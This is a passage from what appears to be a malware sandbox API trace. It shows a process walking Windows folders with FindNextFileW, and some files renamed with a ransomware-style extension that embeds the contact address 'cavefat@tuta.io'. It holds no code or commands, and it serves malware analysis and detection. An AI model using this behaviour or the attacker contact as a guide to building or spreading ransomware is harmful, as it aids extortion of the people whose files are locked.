ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0245.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0245.464] FindClose (in: hFindFile=0x53a218 | out: hFindFile=0x53a218) returned 1 [0245.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0245.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.466] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1028", cAlternateFileName="")) returned 1 [0245.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.468] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1029", cAlternateFileName="")) returned 1 [0245.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.469] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1030", cAlternateFileName="")) returned 1 [0245.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1031", cAlternateFileName="")) returned 1 [0245.471] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1032", cAlternateFileName="")) returned 1 [0245.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.473] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1033", cAlternateFileName="")) returned 1 [0245.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.474] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1035", cAlternateFileName="")) returned 1 [0245.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.475] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1036", cAlternateFileName="")) returned 1 [0245.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.476] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1037", cAlternateFileName="")) returned 1 [0245.478] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.478] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1038", cAlternateFileName="")) returned 1 [0245.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.479] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1040", cAlternateFileName="")) returned 1 [0245.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1041", cAlternateFileName="")) returned 1 [0245.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.613] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1042", cAlternateFileName="")) returned 1 [0245.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.614] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1043", cAlternateFileName="")) returned 1 [0245.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.615] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1044", cAlternateFileName="")) returned 1 [0245.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.616] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1045", cAlternateFileName="")) returned 1 [0245.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.618] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1046", cAlternateFileName="")) returned 1 [0245.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.619] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1049", cAlternateFileName="")) returned 1 [0245.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.620] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1053", cAlternateFileName="")) returned 1 [0245.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.621] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="1055", cAlternateFileName="")) returned 1 [0245.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.622] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="2052", cAlternateFileName="")) returned 1 [0245.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.623] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="2070", cAlternateFileName="")) returned 1 [0245.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.624] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="3076", cAlternateFileName="")) returned 1 [0245.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.625] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="3082", cAlternateFileName="")) returned 1 [0245.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.626] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="Client", cAlternateFileName="")) returned 1 [0245.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.628] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38552cb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38552cb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b60fdd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="DHtmlHeader.html.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DHTMLH~1.HCK")) returned 1 [0245.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.629] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="Graphics", cAlternateFileName="")) returned 1 [0245.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.630] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="header.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="HEADER~1.HCK")) returned 1 [0245.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.632] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0245.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0245.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="da-DK", cAlternateFileName="")) returned 1 [0245.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="de-DE", cAlternateFileName="")) returned 1 [0245.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="el-GR", cAlternateFileName="")) returned 1 [0245.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="en-GB", cAlternateFileName="")) returned 1 [0245.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="es-ES", cAlternateFileName="")) returned 1 [0245.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, 